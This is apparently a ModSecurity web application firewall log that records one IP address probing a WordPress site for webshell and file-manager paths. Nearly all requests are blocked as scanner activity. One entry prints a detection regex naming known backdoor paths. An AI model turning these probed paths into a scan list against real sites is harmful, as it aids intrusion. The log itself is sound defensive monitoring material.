[Mon Dec 15 20:43:33.791709 2025] [:error] [pid 31373:tid 31416] [client 4.194.147.174:16078] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aUACdXFdnrU7ASwItVLiFQAAAMs"]
[Mon Dec 15 20:43:34.259556 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16087] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aUACdhaJK6javjid3xy32wAAAQ8"]
[Mon Dec 15 20:43:34.629329 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16117] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aUACdhaJK6javjid3xy33gAAAQY"]
[Mon Dec 15 20:43:34.984646 2025] [:error] [pid 31374:tid 31439] [client 4.194.147.174:16043] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aUACdpzSh8b7uk6RWiFjLwAAAEc"]
[Mon Dec 15 20:43:35.385769 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:16028] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUACdxaJK6javjid3xy34AAAAQg"]
[Mon Dec 15 20:43:35.698400 2025] [:error] [pid 31372:tid 31386] [client 4.194.147.174:16093] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUACdwN06qRtpJxyxHiiNwAAAIo"]
[Mon Dec 15 20:43:36.078865 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:16189] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUACeBaJK6javjid3xy35AAAARc"]
[Mon Dec 15 20:43:36.414490 2025] [:error] [pid 31373:tid 31425] [client 4.194.147.174:15942] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUACeHFdnrU7ASwItVLiGAAAANQ"]
[Mon Dec 15 20:43:37.111197 2025] [:error] [pid 31459:tid 31483] [client 4.194.147.174:16096] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUACeTqerS0TDpViRztpTAAAABY"]
[Mon Dec 15 20:43:37.665433 2025] [:error] [pid 31459:tid 31475] [client 4.194.147.174:16119] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUACeTqerS0TDpViRztpTQAAAA4"]
[Mon Dec 15 20:43:38.121993 2025] [:error] [pid 52155:tid 52176] [client 4.194.147.174:15968] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUACehaJK6javjid3xy37gAAARI"]
[Mon Dec 15 20:43:38.457761 2025] [:error] [pid 31372:tid 31392] [client 4.194.147.174:16115] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUACegN06qRtpJxyxHiiOgAAAJA"]
[Mon Dec 15 20:43:38.853076 2025] [:error] [pid 31373:tid 31427] [client 4.194.147.174:16184] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aUACenFdnrU7ASwItVLiGgAAANY"]
[Mon Dec 15 20:43:39.180443 2025] [:error] [pid 31372:tid 31397] [client 4.194.147.174:15940] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aUACewN06qRtpJxyxHiiPQAAAJU"]
[Mon Dec 15 20:43:39.405097 2025] [:error] [pid 31372:tid 31395] [client 4.194.147.174:16116] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aUACewN06qRtpJxyxHiiPgAAAJM"]
[Mon Dec 15 20:43:39.788385 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:15938] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aUACexaJK6javjid3xy38gAAARc"]
[Mon Dec 15 20:43:40.100032 2025] [:error] [pid 31374:tid 31454] [client 4.194.147.174:16018] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aUACfJzSh8b7uk6RWiFjMQAAAFY"]
[Mon Dec 15 20:43:40.374549 2025] [:error] [pid 31373:tid 31410] [client 4.194.147.174:16152] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aUACfHFdnrU7ASwItVLiHgAAAMU"]
[Mon Dec 15 20:43:40.665583 2025] [:error] [pid 31374:tid 31449] [client 4.194.147.174:15959] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aUACfJzSh8b7uk6RWiFjMgAAAFE"]
[Mon Dec 15 20:43:40.937543 2025] [:error] [pid 31373:tid 31411] [client 4.194.147.174:16025] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aUACfHFdnrU7ASwItVLiIAAAAMY"]
[Mon Dec 15 20:43:41.296139 2025] [:error] [pid 31373:tid 31423] [client 4.194.147.174:16068] [client 4.194.147.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aUACfXFdnrU7ASwItVLiIwAAANI"]
[Mon Dec 15 20:43:41.771377 2025] [:error] [pid 31373:tid 31406] [client 4.194.147.174:16047] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aUACfXFdnrU7ASwItVLiJAAAAME"]
[Mon Dec 15 20:43:42.186867 2025] [:error] [pid 31459:tid 31470] [client 4.194.147.174:15963] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aUACfjqerS0TDpViRztpUAAAAAk"]
[Mon Dec 15 20:43:42.703142 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:16055] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aUACfhaJK6javjid3xy39gAAARY"]
[Mon Dec 15 20:43:42.931974 2025] [:error] [pid 52155:tid 52174] [client 4.194.147.174:15981] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aUACfhaJK6javjid3xy39wAAARA"]
[Mon Dec 15 20:43:43.293886 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:16291] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aUACfxaJK6javjid3xy3-AAAAQM"]
[Mon Dec 15 20:43:43.562634 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16069] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aUACfxaJK6javjid3xy3-gAAAQo"]
[Mon Dec 15 20:43:43.780622 2025] [:error] [pid 31374:tid 31451] [client 4.194.147.174:16122] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aUACf5zSh8b7uk6RWiFjNQAAAFM"]
[Mon Dec 15 20:43:43.979005 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:16059] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aUACf5zSh8b7uk6RWiFjNgAAAFA"]
[Mon Dec 15 20:43:44.286184 2025] [:error] [pid 31372:tid 31380] [client 4.194.147.174:15944] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aUACgAN06qRtpJxyxHiiRgAAAIQ"]
[Mon Dec 15 20:43:44.570295 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:16011] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aUACgBaJK6javjid3xy3_QAAARc"]
[Mon Dec 15 20:43:44.781860 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16030] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aUACgBaJK6javjid3xy3_gAAAQU"]
[Mon Dec 15 20:43:44.981491 2025] [:error] [pid 52155:tid 52169] [client 4.194.147.174:16063] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aUACgBaJK6javjid3xy3_wAAAQs"]
[Mon Dec 15 20:43:45.214715 2025] [:error] [pid 31374:tid 31445] [client 4.194.147.174:16191] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aUACgZzSh8b7uk6RWiFjOQAAAE0"]
[Mon Dec 15 20:43:45.431328 2025] [:error] [pid 31374:tid 31435] [client 4.194.147.174:16054] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aUACgZzSh8b7uk6RWiFjOgAAAEM"]
[Mon Dec 15 20:43:45.797589 2025] [:error] [pid 31374:tid 31437] [client 4.194.147.174:16008] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aUACgZzSh8b7uk6RWiFjPAAAAEU"]
[Mon Dec 15 20:43:46.121137 2025] [:error] [pid 31374:tid 31442] [client 4.194.147.174:16161] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUACgpzSh8b7uk6RWiFjPwAAAEo"]
[Mon Dec 15 20:43:46.325945 2025] [:error] [pid 52155:tid 52162] [client 4.194.147.174:16088] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUACghaJK6javjid3xy4AgAAAQQ"]
[Mon Dec 15 20:43:46.574522 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:15953] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUACghaJK6javjid3xy4AwAAARY"]
[Mon Dec 15 20:43:46.831712 2025] [:error] [pid 31374:tid 31449] [client 4.194.147.174:16208] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUACgpzSh8b7uk6RWiFjQgAAAFE"]
[Mon Dec 15 20:43:47.072438 2025] [:error] [pid 31374:tid 31434] [client 4.194.147.174:15901] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp.php"] [unique_id "aUACg5zSh8b7uk6RWiFjQwAAAEI"]
[Mon Dec 15 20:43:47.352313 2025] [:error] [pid 31373:tid 31419] [client 4.194.147.174:16013] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp.php"] [unique_id "aUACg3FdnrU7ASwItVLiLgAAAM4"]
[Mon Dec 15 20:43:47.636265 2025] [:error] [pid 31373:tid 31426] [client 4.194.147.174:16139] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp.php"] [unique_id "aUACg3FdnrU7ASwItVLiLwAAANU"]
[Mon Dec 15 20:43:48.065778 2025] [:error] [pid 31459:tid 31485] [client 4.194.147.174:16022] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp.php"] [unique_id "aUAChDqerS0TDpViRztpWwAAABg"]
[Mon Dec 15 20:43:48.377753 2025] [:error] [pid 31374:tid 31436] [client 4.194.147.174:16039] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aUAChJzSh8b7uk6RWiFjRgAAAEQ"]
[Mon Dec 15 20:43:48.638222 2025] [:error] [pid 31459:tid 31480] [client 4.194.147.174:16014] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aUAChDqerS0TDpViRztpXwAAABM"]
[Mon Dec 15 20:43:48.905466 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16044] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aUAChBaJK6javjid3xy4CAAAAQo"]
[Mon Dec 15 20:43:49.186672 2025] [:error] [pid 31372:tid 31385] [client 4.194.147.174:16163] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aUAChQN06qRtpJxyxHiiSgAAAIk"]
[Mon Dec 15 20:43:49.454693 2025] [:error] [pid 31459:tid 31483] [client 4.194.147.174:16118] [client 4.194.147.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aUAChTqerS0TDpViRztpZgAAABY"]
[Mon Dec 15 20:43:49.737298 2025] [:error] [pid 31374:tid 31445] [client 4.194.147.174:15971] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o2.php"] [unique_id "aUAChZzSh8b7uk6RWiFjSAAAAE0"]
[Mon Dec 15 20:43:50.151943 2025] [:error] [pid 31372:tid 31386] [client 4.194.147.174:15943] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o2.php"] [unique_id "aUAChgN06qRtpJxyxHiiTQAAAIo"]
[Mon Dec 15 20:43:50.403212 2025] [:error] [pid 31459:tid 31462] [client 4.194.147.174:16006] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o2.php"] [unique_id "aUAChjqerS0TDpViRztpbAAAAAE"]
[Mon Dec 15 20:43:50.641698 2025] [:error] [pid 31459:tid 31470] [client 4.194.147.174:15951] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aUAChjqerS0TDpViRztpbQAAAAk"]
[Mon Dec 15 20:43:50.818166 2025] [:error] [pid 31459:tid 31476] [client 4.194.147.174:15949] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aUAChjqerS0TDpViRztpcAAAAA8"]
[Mon Dec 15 20:43:51.118821 2025] [:error] [pid 31459:tid 31471] [client 4.194.147.174:16114] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aUAChzqerS0TDpViRztpcQAAAAo"]
